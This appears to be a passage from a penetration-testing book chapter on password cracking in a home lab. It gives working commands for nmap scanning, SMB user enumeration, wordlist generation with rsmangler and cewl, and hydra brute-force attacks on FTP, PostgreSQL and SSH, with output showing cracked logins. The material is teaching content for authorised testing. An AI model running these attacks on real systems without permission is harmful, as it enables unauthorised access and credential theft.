Skip to content
ImagineWorld

Password Cracking Techniques

node_idnode-book_linux-shell-scripting-for-hackers_chapter-06-password-cracking-techniques
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num6
chapter_titlePassword Cracking Techniques
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 6 — Password Cracking Techniques

Section titled “Chapter 6 — Password Cracking Techniques”

Password cracking is an essential skill for both black hat hackers and white hat penetration testers. For the black hatters, obtaining the passwords to a target machine is a dream come true. On the other hand, white hatters just want to know if it’s possible for the black hatters to obtain passwords, and to help prevent the black hatters from doing so. Fortunately, there’s a good variety of available tools that can help us white hatters automate this process.

In this chapter, you’ll learn how to use various tools to generate lists of possible usernames and passwords, and then use these lists with other tools to break into a vulnerable system. You’ll also learn how to perform audits of users’ passwords on systems for which you already have root user privileges.

Topics that we’ll cover include:

  • Understanding password attacks
  • Scanning for exposed network services
  • Wordlist generation and customization
  • Cracking passwords with Hydra
  • Cracking passwords with John the Ripper

I know that I’ve told you this before, but I’ll say it again. Only attempt these hacking techniques on either your own computers or on computers for which you have express written permission.

Okay, let’s get started.

To follow along in this chapter, you will need the following:

  • Kali Linux virtual machine
  • Metasploitable2 virtual machine to scan
  • Ubuntu Server virtual machine

You can grab the shell scripts that we’ll be using by doing:

git clone https://github.com/PacktPublishing/Linux-Shell-Scripting-for-Hackers

You’ll need to create the Ubuntu Server virtual machine and configure the networking to use the same host-only adapter that you’re using for the Kali and Metasploitable2 machines. (Just use whatever version of Ubuntu is current at the time you’re reading this.) Toward the end of the chapter, I show a couple of examples that involve FreeBSD, OpenIndiana, AlmaLinux 8, and AlmaLinux 10. You can set up virtual machines for them if you want to, but it’s not absolutely necessary.

In real life, all of the techniques that I’m about to present will require you to store files with your clients’ or your employer’s sensitive password information on your own Kali computer. Be sure to properly secure your own Kali computer by encrypting its drive, storing it in a secure location, setting a strong password on your user account, and ensuring that your data directory permissions are locked down so that only you or possibly other authorized personnel can access it. The last thing you need is to accidentally leak other people’s sensitive passwords.

There are five main ways that an attacker can obtain their victims’ passwords, which are:

  • Social engineering: This consists of an attacker who tries to trick users into revealing their passwords. For example, an attacker can call up the help desk and say, “Hey, I’ve forgotten my password. Can you reset it for me?” Of course, the attacker in this case is hoping that the help desk person won’t adequately verify the caller’s identity. Or, an attacker could clone a site with a legitimate login page, and email it to users with a message like, “You need to verify your password. Log in now to verify it.” If the user falls for this, the attacker will have the user’s login credentials. Social engineering attacks are beyond the scope of this book, so we won’t say anything more about them.
  • Brute-force password cracking: In this type of attack, the attacker uses an automated tool that will systematically generate combinations of usernames and passwords until a match is found. How long this takes mainly depends upon the length of the passwords. Short passwords could be cracked in a matter of minutes, while longer passwords might require hundreds, thousands, or even millions of years. (I’m not sure that I can wait that long.) Brute-force attacks have such a low chance of success, that they’re really more of a “last resort” option. We’ll look at this type of attack in just a bit.
  • Dictionary password cracking: Nowadays, this is more common than brute-force attacks. To begin, you’ll need to either generate or download a list of possible usernames, and a list of possible passwords. Using an automated tool, an attacker can try each username with each password until a match is found. We’ll also look at this type of attack in just a bit.
  • Algorithm cracking: Older hashing algorithms, such as DES, SHA1, and MD5, and older encryption algorithms such as RSA and DSA, can be incredibly easy to crack. If you encounter any older systems that still use any of these algorithms, you’ll definitely want to recommend that the client upgrade to a system with stronger encryption. Newer algorithms are quite resistant to cracking, which makes algorithm-cracking attacks a less desirable option. Cracking algorithms is a high-level, specialized skill, so we won’t say anything more about it.
  • Rainbow tables: Rainbow tables are databases of pre-computed hashes for different passwords. They used to be quite effective for cracking passwords on Windows systems, because older versions of Windows didn’t salt their hashes. Salting hashes consists of adding some random value to a password’s hash. This way, if a person uses the same password on different machines, the hash will be different on each one. Linux and Unix systems have always salted their password hashes, which means that rainbow tables attacks have never worked on them. Since this is no longer an effective type of attack, we’ll say no more about it.

You can perform password cracking either online or offline. Online cracking consists of trying to gain access to live websites, servers, workstations, or devices by trying combinations of possible usernames and passwords until a valid login has been achieved. Offline cracking is more useful for security administrators who need to audit passwords on systems for which they already have administrative access. We’ll look at online cracking first.

Your first step in online password cracking should be to scan the target systems to see which services are exposed to the network. Of course, you’ve already learned how to do this in Chapter 4*, Reconnaissance and Scanning with Nmap*, and you’ve also seen how to leverage the power of shell scripting to automatically create reports from your nmap scans. Now, I’d like to introduce you to the nmap -A scan option, which gives us some extra useful information. Let’s use this new option to scan the Metasploitable2 machine, like so:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A 192.168.56.102

Now, it’s true that the -sS option is stealthier and harder for security teams to detect. But, if stealthiness isn’t a concern, the -A option is good for several reasons:

  • First, it can properly detect what services are running, even if a service is running on an alternate port. For example, let’s say that for security reasons, you’ve decided to have the Secure Shell service (SSH) run on port 2022 instead of on the default port 22. A normal -sS scan will report that an unknown service is running on port 2022, but a -A scan will accurately report that SSH is running on port 2022.
  • The second reason is that the -A scan provides more information about the running services, as well as information about the target machine’s operating system.
  • With the -A option, nmap also runs a set of vulnerability detection scripts against the target. (I’ll show you more about nmap scripts in just a bit.)
  • The last thing that the -A option does is to perform a traceroute operation. This will show you how many routers that the packet must traverse in order to reach the target host. It also shows you the round trip times, normally in terms of milliseconds, for the traceroute packets.

The downside to the -A option, as I’ve already intimated, is that it’s quite noisy and is considered an intrusive type of scan. For this reason, you’ll only want to use this option where you have permission to perform an intrusive scan, and where performing a noisy scan doesn’t matter.

When the nmap scan of the Metasploitable2 machine is finished, you’ll see lots of different services that can allow users to remotely log into the system. For example, at the top of the output, we see this:

21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.101
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status

So, we see here that the vsFTPd flavor of the File Transfer Protocol service (FTP) is running on its default port, which is port 21. Anonymous logins are allowed, which is okay if the client needs to allow users to download files without the need to log in. As we’ll see in a bit, the server is also set up to allow normal users to log in with their normal login credentials.

Next, we see that Secure Shell (SSH) is running on port 22:

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

It’s running version 4.7p1 of OpenSSH, which is truly ancient. Worse yet, it’s using DSA and RSA host keys that are quite weak. This creates a bit of a problem for us penetration testers, because some modern password cracking tools can’t work with the old DSA or RSA keys. Not to worry though, because I’ll soon show you a shell script that can handle the job.

There’s a large amount of output from this nmap -A scan, and I won’t try to reproduce all of it here. Perform the scan yourself and look through the output. You’ll be amazed at how many network services are exposed to the general public. And really, several of these services, such as telnet, mysql, and postgresql, shouldn’t even be exposed to the network at all, even if they’re just exposed to the private internal network.

A handy trick that will help you out later is to use the nmap -oG option to save the scan output to a grepable text file, like so:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A 192.168.56.102 -oG metasploitable_ports.txt

You can use the information from this file to help you plan your password attacks, and you can also include it in the final report to your clients.

Now that you know what network services are exposed, you can create or download an appropriate set of lists of potential usernames and potential passwords.

In the /usr/share/wordlists/ directory of your Kali machine, you’ll find lots of different wordlists for different purposes. Some of them are lists of common usernames and passwords. Understand, nobody sat down at a computer and just generated these usernames and passwords at random. Most of these lists consist of usernames and passwords that were harvested from actual security incidents. In the metasploit/ subdirectory you’ll also find lists of default usernames and default passwords for various network devices and services. Also notable is the rockyou.txt.gz file, which is a compressed password list. Some password cracking utilities can use this file in its compressed format, but others can’t. So, go ahead and uncompress it, like so:

┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ sudo gunzip rockyou.txt.gz

This rockyou.txt wordlist is widely used and is considered a baseline by the penetration testing community. But, even though it’s very large and very comprehensive, it might not always be your best choice. Sometimes, using a smaller and more specialized wordlist might be faster and more effective. In just a bit, I’ll show you how to generate your own specialized password lists.

This default set of wordlists in Kali might be enough for you, or it might not be. If you believe that you need lists that are bigger, more up-to-date, or more specialized, you’ll find plenty of places on the web to download them. In fact, you’ll find links to some of these places in the Further reading section at the end of the chapter.

Even though these pre-built lists are handy, they might not always work for you. So now, let’s see about building your own custom lists.

There are several possible ways to build a list of users who are likely to have user accounts on the target machines. In fact, you should have already built a list of possible usernames during the reconnaissance phase of the penetration testing process. Another way, which you saw in Chapter 5*, Automating Web Application Attacks*, is to find and exploit a command injection vulnerability that will allow you to access the target machine’s /etc/passwd file. The third way, which I’m about to show you, is to exploit services that are exposed to the network.

The nmap -A scan that we just did on the Metasploitable2 virtual machine shows that a lot of services are active and exposed to the network. Actually, let’s pretend that this machine is accessible from the Internet. One of the exposed services is the smb service, which allows computers, either desktops or servers, to share directories with each other over the network. Here’s the output from our scan that pertains to smb:

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

As you see, both port 139/tcp and port 445/tcp are open when the smb service is running. Port 445 is our main interest.

It’s usually okay to run the smb service on a secure internal network that’s behind a firewall, as long as it’s configured to block user enumeration attempts. But you never, ever want to run it on a machine that’s exposed to the Internet. That’s because it’s such a trivial matter to enumerate users through a poorly configured implementation of smb, especially if attackers can use the awesome power of the nmap scripting engine. In our case, we’ll use nmap with the smb-enum-users.nse script that comes with the nmap package. Here’s how it looks:

┌──(kali㉿kali)-[~]
└─$ nmap --script=smb-enum-users.nse -p 445 192.168.56.102 | grep -w RID | cut -d '\' -f 2 | cut -d " " -f 1 > metasploitable_users.txt
┌──(kali㉿kali)-[~]
└─$

In this command, the --script option points to the nmap script that we want to execute. We then use the -p 445 option to scan port 445, and follow that by the IP address of the target machine. We only want to see one field of the output, so we pipe the output into grep, in order to only show lines that contain the RID text string, which is the line that contains the usernames. We then pipe that output into cut, so that we’ll only see the second field—the field that comes after the \ character—of every line. The second cut operation shows the first field of the output, which in this case ends with the first blank space. Finally, we’ll direct the output into a text file, which looks like this:

┌──(kali㉿kali)-[~]
└─$ cat metasploitable_users.txt
backup
bin
bind
daemon
dhcp
distccd
ftp
games
gnats
irc
klog
libuuid
list
lp
mail
man
msfadmin
mysql
news
nobody
postfix
postgres
proftpd
proxy
root
service
sshd
sync
sys
syslog
telnetd
tomcat55
user
uucp
www-data

This is a fairly big list. It could take an excessively long time for a password cracker to process it, especially when run with a large password list. Fortunately, you can cut it down if you have a good idea of which of these user accounts are system accounts that can’t be used to log into the system. (I’ll show you how to determine that in a moment.) So, let’s edit this file to delete the obvious system accounts. It should now look like this:

┌──(kali㉿kali)-[~]
└─$ cat metasploitable_users.txt
msfadmin
klog
root
service
user

I left the klog and service users because we really don’t know what they are. I’m not aware of any daemons that use system accounts with those names, so I’ll assume that they might be normal user accounts. Also, I placed the msfadmin user at the top of the list to make future exercises run faster. (You’ll see what I mean in just a bit.) Now, keep this list handy, because you’ll use it in the upcoming exercises.

So then, how can you tell which accounts are system accounts that you can delete from your users list? Well, the best way is to familiarize yourself with the UID numbering scheme for Linux, and then look in the /etc/passwd file to see the UID numbers for all of the user accounts. In general, modern Linux distros assign UID numbers of 1 through 999 for system accounts, and 1000 through either 59999 or 60000 for normal user accounts. (The exact numbering system varies for different Linux distros.) You can view the numbering scheme by looking at the /etc/login.defs file and, on Debian/Ubuntu-type systems, the /etc/adduser.conf file. For example, here’s the applicable snippet from the /etc/adduser.conf file from a modern Ubuntu Server 26.04 virtual machine:

# Default: FIRST_SYSTEM_UID=100, LAST_SYSTEM_UID=999
#FIRST_SYSTEM_UID=100
#LAST_SYSTEM_UID=999
# Default: FIRST_SYSTEM_GID=100, LAST_SYSTEM_GID=999
#FIRST_SYSTEM_GID=100
#LAST_SYSTEM_GID=999
# Default: FIRST_UID=1000, LAST_UID=59999
#FIRST_UID=1000
#LAST_UID=59999
# Default: FIRST_GID=1000, LAST_GID=59999
#FIRST_GID=1000
#LAST_GID=59999

These lines are all commented out, but that doesn’t mean that they have no effect. As you see in the first line of each of these four stanzas, these are the default settings. You also see that the FIRST_SYSTEM_UID and FIRST_SYSTEM_GID parameters are set to 100, but I had just told you that system account UIDs begin with 1. Well, this configuration file is for new accounts that you’ll create with the adduser utility. Look in the /etc/passwd file, and you’ll see that system accounts that were created when you installed the operating system do begin with UID 1, as you see here:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
. . .
. . .

Scroll down a bit further, and you’ll see some system accounts that you also didn’t create, but that still have UID numbers that fall within the range that’s defined in the adduser.conf file. For example:

. . .
. . .
systemd-resolve:x:990:990:systemd Resolver:/:/usr/sbin/nologin
_chrony:x:100:103:Chrony daemon:/var/lib/chrony:/usr/sbin/nologin
usbmux:x:101:46:usbmux daemon:/var/lib/usbmux:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:989:989:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack:/var/lib/tpm:/bin/false
. . .
. . .

Towards the bottom of the passwd file, you’ll see the normal user accounts. Here, you see the donnie, mrtux, and evilhacker accounts, all with UID numbers that fall into the 1000 through 59999 range, which is defined in the adduser.conf file:

. . .
. . .
donnie:x:1000:1000:Donald A. Tevault:/home/donnie:/bin/bash
sshd:x:986:65534:sshd user:/run/sshd:/usr/sbin/nologin
lxd:x:999:101::/var/snap/lxd/common/lxd:/bin/false
mrtux:x:1001:1001:Mr. Tux:/home/mrtux:/bin/bash
evilhacker:x:1002:1002:,,,:/home/evilhacker:/bin/bash

Also, note that normal user accounts have an assigned default shell that allows users to log into the system. Here, you see that all three of the normal user accounts have /bin/bash assigned as the default shell. For system accounts, you’ll see assigned shells such as /usr/sbin/nologin or /bin/false that don’t permit user logins.

Non-Debian/Ubuntu systems don’t have an adduser.conf file, so you’ll need to look in the /etc/login.defs file to see the assigned ranges of UID numbers. And, even on Debian/Ubuntu systems, the old-school useradd utility is still present, and it also uses the /etc/login.defs file. Here’s the applicable snippet from my Ubuntu Server virtual machine:

# Min/max values for automatic uid selection in useradd(8)
#
UID_MIN 1000
UID_MAX 60000
# System accounts
#SYS_UID_MIN 101
#SYS_UID_MAX 999

Okay, UID_MAX and SYS_UID_MIN numbers are different from the numbers in the adduser.conf file. That’s okay, because everything still works.

As I’ve mentioned before, you don’t always need or want to use a huge wordlist such as the rockyou.txt list. Sometimes, it’s better to use a smaller wordlist that’s more tailored to the target environment. So next, we’ll look at how to generate a custom wordlist.

I’ve just shown you how you can obtain some rather massive lists of passwords that have been harvested from previous security breaches. So now, you’re wondering why we would want to create our own password lists. Well, it’s just that users of your target systems might not be using passwords that are in any of those lists. So, as part of the reconnaissance phase at the beginning of the penetration testing process, you want to learn as much as you can about the users of the target systems. Learning about the users’ families, pets, backgrounds, and hobbies could give you some clues about how they would choose their passwords.

I mean, even though their company’s security policy would tell them not to, users might still choose passwords that are based on their personal details, in order to have a password that’s easy to remember. But users might also use permutations of words that are related to their personal details, in an effort to fool the hackers. So, we’ll need a way to create password lists that include permutations of the possible passwords. Fortunately, we have some cool utilities that can help us.

There are several available utilities that create password lists, and they can work in one of two different ways. Some will create a list of random passwords based on whatever criteria you specify, while others take a list of possible passwords that you provide and create a list that contains changes and permutations to those passwords. The rsmangler utility, which is included in Kali Linux, falls into the latter category.

Let’s say that you’ve gleaned some important personal information about Mr. X, a rather important person at the target company. This information includes the name of his cat, the name of his dog, his birthday, the year and make of his car, and the names of his wife and children. The list could look something like this:

┌──(kali㉿kali)-[~]
└─$ cat Mr-X_at_XYZCorp_passwords.txt
1963 Studebaker Avanti
Fluffy
06151965
Rover
Sarah
Michael
Mike
Beth
Elizabeth
Betty
James

As an afterthought, I also added the first name of the target individual. If at all possible, you’ll also want to find out what this company’s password requirements are. This includes the minimum and maximum length of passwords, and how many uppercase letters, lowercase letters, digits, and special symbols are required for passwords. With all this in hand, you can generate the password list, like so:

┌──(kali㉿kali)-[~]
└─$ rsmangler -f Mr-X_at_XYZCorp_passwords.txt -o Mr-X_at_XYZCorp_passwords-mangled.txt
5 words in a start list creates a dictionary of nearly 100,000 words.
You have 11 words in your list, are you sure you wish to continue?

I used the -f switch to specify my input file, and the -o switch to specify my output file. Easy enough, right? But, note the warning. Using an input list of only five words will generate a list of over 100,000 words. I have 11 words in my input list, which means that I’ll end up with a really huge output list. This is why the creators of rsmangler recommend that you always start out with a small input list if you intend to use all of the rsmangler options (I’ll explain the rsmangler options in just a bit).

Towards the top of the output list, you’ll see the simpler permutations, which might look something like this:

1963 Studebaker AvantiBetty
1963 Studebaker AvantiJames
Fluffy1963 Studebaker Avanti
Fluffy06151965
FluffyRover
FluffySarah

As you scroll down the list, you’ll see that the permutations keep getting more and more complex, like this:

BethJamesBettyElizabethMike06151965
BethJamesBettyElizabethMikeRover
BethJamesBettyElizabethMikeSarah
BethJamesBettyElizabethMikeMichael
Elizabeth1963 Studebaker AvantiFluffy06151965RoverSarah
Elizabeth1963 Studebaker AvantiFluffy06151965RoverMichael
Elizabeth1963 Studebaker AvantiFluffy06151965RoverMike
Elizabeth1963 Studebaker AvantiFluffy06151965RoverBeth
Elizabeth1963 Studebaker AvantiFluffy06151965RoverBetty

Just how complex will these permutations eventually get with an input list of 11 words? Well, I don’t know. After about—I don’t know, 45 minutes to an hour, I guess—of running rsmangler on this 11-word list, my host workstation just magically turned itself off for some unknown reason. So, the process was never completed. Even so, I obtained a partial output list that consists of 406,000 possible passwords.

An unusual thing about rsmangler is how it uses option switches. Contrary to how most programs work, rsmangler has all options enabled by default. So, instead of using an option switch to enable an option, you’ll instead use an option switch to disable an option. For example, let’s say that you don’t want to create permutations of all words, reverse words, or double words. Just use the -p, -r, and -d switches to disable those respective options, like so:

┌──(kali㉿kali)-[~]
└─$ rsmangler -f Mr-X_at_XYZCorp_passwords.txt -o Mr-X_at_XYZCorp_passwords-mangled-2.txt -p -d -r

This operation only took a few seconds to run, so I didn’t have to worry about my workstation turning itself off again before it could complete. And, it produced a much smaller list of only 4,221 words, as you see here:

┌──(kali㉿kali)-[~]
└─$ wc -l Mr-X_at_XYZCorp_passwords-mangled-2.txt
4221 Mr-X_at_XYZCorp_passwords-mangled-2.txt

There are more options that you could also disable if you need to create a more customized list. Just type rsmangler -h to see the whole list of options.

In reality, you’ll get a more realistic list of possible passwords by selectively disabling some of the rsmangler options. I mean, it’s highly unlikely that many people will use the super-complex passwords that rsmangler can generate with all options enabled.

Now, let’s look at just one more way to create a password list.

The cewl utility, which I suppose you pronounce as cool, serves two purposes. It can scrape a website to either build a list of possible passwords or to find hidden email addresses. Here’s how it looks when I run it against the Metasploitable2 machine:

┌──(kali㉿kali)-[~]
└─$ cewl http://192.168.56.102 -w metasploitable_cewl_wordlist.txt

As you see, I’m using the -w switch to save the results to a text file. Let’s see how many possible passwords it found:

┌──(kali㉿kali)-[~]
└─$ wc -l metasploitable_cewl_wordlist.txt
5179 metasploitable_cewl_wordlist.txt

Cool, cewl found 5,179 words. Here’s what part of the list looks like:

the
and
TWiki
for
HTML
site
Injection
. . .
. . .
bookview
Regular
tablewidth
children
relates

You can make the list smaller by using the -m switch. This will cause cewl to only include words of a designated minimum length. So, let’s say that we only want to see words that contain at least eight characters. Just do it like this:

┌──(kali㉿kali)-[~]
└─$ cewl http://192.168.56.102 -m 8 -w metasploitable_cewl_wordlist_2.txt

This cuts the size of the list down considerably, as you see here:

┌──(kali㉿kali)-[~]
└─$ wc -l metasploitable_cewl_wordlist_2.txt
2223 metasploitable_cewl_wordlist_2.txt

This is a more realistic list, because most companies have a password policy that requires passwords of at least a certain length.

If you want to harvest email addresses, use the -n switch to suppress wordlist harvesting, and the -e switch to enable email harvesting, like so:

┌──(kali㉿kali)-[~]
└─$ cewl http://192.168.56.102 -n -e -w metasploitable_cewl_emails.txt

Here’s the list of email addresses on the Metasploitable2 machine:

So, you’ve now seen several ways to obtain wordlists of possible usernames and passwords. Let’s put them to use.

The hydra utility is great for performing online password attacks. An online attack involves trying to break into a target machine for which we don’t know the correct username and/or password.

In this set of demos, we’ll use the information that we gathered from our preliminary nmap scan, along with the lists of usernames and passwords that we created. We’ll begin by using hydra to attack the services that the Metasploitable2 machine has exposed to the network. Then, we’ll use it to attack a web form login page.

Attacking exposed network services with hydra

Section titled “Attacking exposed network services with hydra”

We’ll begin with the FTP service, like this:

┌──(kali㉿kali)-[~]
└─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt -e nsr ftp://192.168.56.102

Here’s the breakdown:

  • -L metasploitable_users.txt: The -L option allows you to specify the text file that you want to use as your username list. Here, we’re using the username list that we created just a while ago by using nmap to scan port 445 with the smb-enum-users.nse script. If you want to specify just one certain username instead of a using a list, use the -l option, followed by the desired username.
  • -P metasploitable_cewl_wordlist.txt: The -P option allows you to specify a list of possible passwords. Here, we’re using the wordlist that we just now created with the cewl utility. To specify a certain password instead of a list, use the -p option, followed by the desired password.
  • -e nsr: The -e switch is for specifying extra checks. In this case we’re using n to check for null passwords, s to see if login names are used as passwords, and r to see if reversed login names are used as passwords.
  • ftp://192.168.56.102: This is how you specify the service that you want to attack. In this case, we want to attack the FTP service. If the target machine is running FTP with TLS encryption, replace ftp:// with ftps://.

When you attack either a network service or a web login page with hydra, you’ll be using a hydra module. In this case, we’re using the ftp module to attack the FTP service.

Most hydra modules don’t require you to specify any extra parameters for using them. Some do, however, which we’ll see when we look at how to crack into a web form login page.

To see the list of available hydra modules, open the hydra man page. Near the top, under the DESCRIPTION section, you’ll see the list of supported modules.

If hydra is successful, you’ll see something like this:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-25 16:40:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 41456 login tries (l:8/p:5182), ~2591 tries per task
[DATA] attacking ftp://192.168.56.102:21/
[21][ftp] host: 192.168.56.102 login: msfadmin password: msfadmin
[21][ftp] host: 192.168.56.102 login: service password: service
[21][ftp] host: 192.168.56.102 login: user password: user
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-08 18:38:48
┌──(kali㉿kali)-[~]
└─$

So, there are three user accounts with a password that’s the same as the username. Let’s try logging into one of these accounts to see what happens.

┌──(kali㉿kali)-[~]
└─$ ftp [email protected]
Connected to 192.168.56.102.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Yes indeed, it is correct, and we have achieved coolness. By default, you’re logged into the msfadmin user’s home directory. But you can cd into other directories and download any file you want, as long as it doesn’t require root privileges.

Now, here’s a bit of a secret that you might find interesting. The msfadmin password for the msfadmin account is indeed in our password list that we created with cewl. In this case, though, it didn’t matter, because msfadmin is used for both the username and password on the Metasploitable2 machine, and we used the -e nsr option with hydra. Since the s in this option caused hydra to check for passwords that are the same as the user login name, hydra would have succeeded even if the proper password weren’t in the password list. But, using the -e nsr option made the process go much faster, because we didn’t have to wait for hydra to process the password list. Go ahead and try this without the -e nsr option, and you’ll see that it still works. It will just take considerably longer.

We’ve now found the passwords for three of the user accounts in our list. But, we haven’t found the passwords for either the klog or the root user accounts. For both of these accounts, the password isn’t the same as the username, and the passwords aren’t in the metasploitable_cewl_wordlist.txt file that we generated. If you need to find the password for either of those accounts, you can use the -l option to specify the username, like so:

┌──(kali㉿kali)-[~]
└─$ hydra -l klog -P /usr/share/wordlists/rockyou.txt -e nsr ftp://192.168.56.102

Be aware, though, that this could take a very long time, and even then, you might find that this user’s password isn’t in the wordlist that you specified.

In this demo, we used hydra to crack into a service that’s running on its default network port, which is port 21 in this case. If you need to attack a service that’s running on an alternate port, use the -s option, followed by the desired port number. On the Metasploitable2 virtual machine, two different flavors of FTP are running at the same time. The one that’s running on port 21 is vsFTPd. Look in the output file that we created with the preliminary nmap scan, and you’ll see this:

2121/open/tcp//ftp//ProFTPD 1.3.1

So, we also have ProFTPD running on port 2121. (Having two different flavors of FTP running on a server at the same time is something that you’ll likely never see in real life, but that’s okay.) Running hydra against the ProFTPD service looks like this:

┌──(kali㉿kali)-[~]
└─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt -s 2121 -e nsr -f ftp://192.168.56.102

You also see that I added the -f option this time, which causes hydra to quit as soon as it finds one username and password match.

Some services and network devices, such as postgresql, db2, and certain brands of network routers and switches, are set with default usernames and passwords. You’ll find quite a few lists of default usernames and passwords in the /usr/share/wordlists/metasploit/ directory. For example, we can use one pair of these lists to attack the postgresql service on the Metasploitable2 machine, like this:

┌──(kali㉿kali)-[~]
└─$ hydra -L /usr/share/wordlists/metasploit/postgres_default_user.txt -P /usr/share/wordlists/metasploit/postgres_default_pass.txt postgres://192.168.56.102 -o metasploitable_postrgesql.txt

I’ve added the -o option this time, so that we can save the results to a plain-text file. (And really, you should always do that, so that you can easily add this information to your final report.) At any rate, our attack succeeded, as you see here:

[DATA] attacking postgres://192.168.56.102:5432/
[5432][postgres] host: 192.168.56.102 login: postgres password: postgres

For our final act, let’s try to attack the SSH service, like so:

┌──(kali㉿kali)-[~]
└─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt ssh://192.168.56.102

Sadly, this won’t work, as we see here:

[ERROR] could not connect to ssh://192.168.56.102:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,[email protected],[email protected]]

What this means is that the implementation of OpenSSH that’s running on the Metasploitable2 machine is so old that hydra can’t deal with it. This antiquated version of OpenSSH wants us to use either RSA or DSA key exchange, but those two algorithms have been stripped out of hydra. So, to demo how hydra works on a current version of SSH, we’ll need to create a virtual machine with a current version of Linux.

Keep in mind that there are many ways to solve some problems. In just a bit, I’ll show you a shell script that will work against the older versions of OpenSSH. So, although hydra doesn’t work in this case, it doesn’t mean that we’ve made things harder for the attackers. It just means that they’ll need to use a different method.

Attacking SSH with hydra can be a bit tricky, because if you attack SSH too fast, the target machine will reset the login process after three to five failed login attempts in a certain time frame. That’s the default behavior for OpenSSH, so no special software or configuration is needed. Also, the number of failed login attempts that will reset the login process varies with different Linux and Unix distros.

When the login process gets reset, hydra will abort its attack. So, we’ll need to specify another option parameter in order to slow the attack down a bit.

Now, let’s get started with the demo.

For this demo, use the Ubuntu Server virtual machine as your target.

  1. On the Kali machine, open the metasploitable_users.txt file in your preferred text editor, and move mrtux to the fourth position in the list of usernames. Inserting this username toward the top of the list will make the demo go much faster.
  2. On the Ubuntu Server virtual machine, create a user account for mrtux, like so:
    donnie@ubuntu2504-2:~$ sudo adduser mrtux

Use AndreaSterbini for the password, since it’s in the cewl wordlists that you’ve already created.

  1. Ensure that the ssh service is running on the Ubuntu machine, like so:
    donnie@ubuntu2504-2:~$ systemctl status ssh

If it’s not running, start it by doing:

donnie@ubuntu2504-2:~$ sudo systemctl start ssh
  1. On the Kali machine, perform the hydra attack against the Ubuntu machine, like this:
    ┌──(kali㉿kali)-[~]
    └─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist_2.txt -e nsr -f ssh://192.168.56.240

After a few moments, you’ll see that the process aborts, with this set of messages:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-31 14:40:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 24508 login tries (l:11/p:2228), ~1532 tries per task
[DATA] attacking ssh://192.168.56.240:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-31 14:41:15

One of the things that makes hydra so fast is its ability to perform multiple login attempts in parallel. As you see here, the default is to perform 16 parallel attempts per server. However, this causes attacks against OpenSSH to abort. Toward the top of this output, you see the recommendation to use the -t 4 option to reduce the number of parallel tasks to only four per server.

  1. Attempt the attack again, this time using the recommended -t 4 option:
    ┌──(kali㉿kali)-[~]
    └─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist_2.txt -e nsr -f -t 4 ssh://192.168.56.240
    Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-31 14:50:16
    [DATA] max 4 tasks per 1 server, overall 4 tasks, 24508 login tries (l:11/p:2228), ~6127 tries per task
    [DATA] attacking ssh://192.168.56.240:22/
    [ERROR] all children were disabled due too many connection errors
    0 of 1 target completed, 0 valid password found
    [INFO] Writing restore file because 2 server scans could not be completed
    [ERROR] 1 target was disabled because of too many errors
    [ERROR] 1 targets did not complete
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-31 14:50:49

It failed again, because even four parallel tasks are too much for OpenSSH to handle.

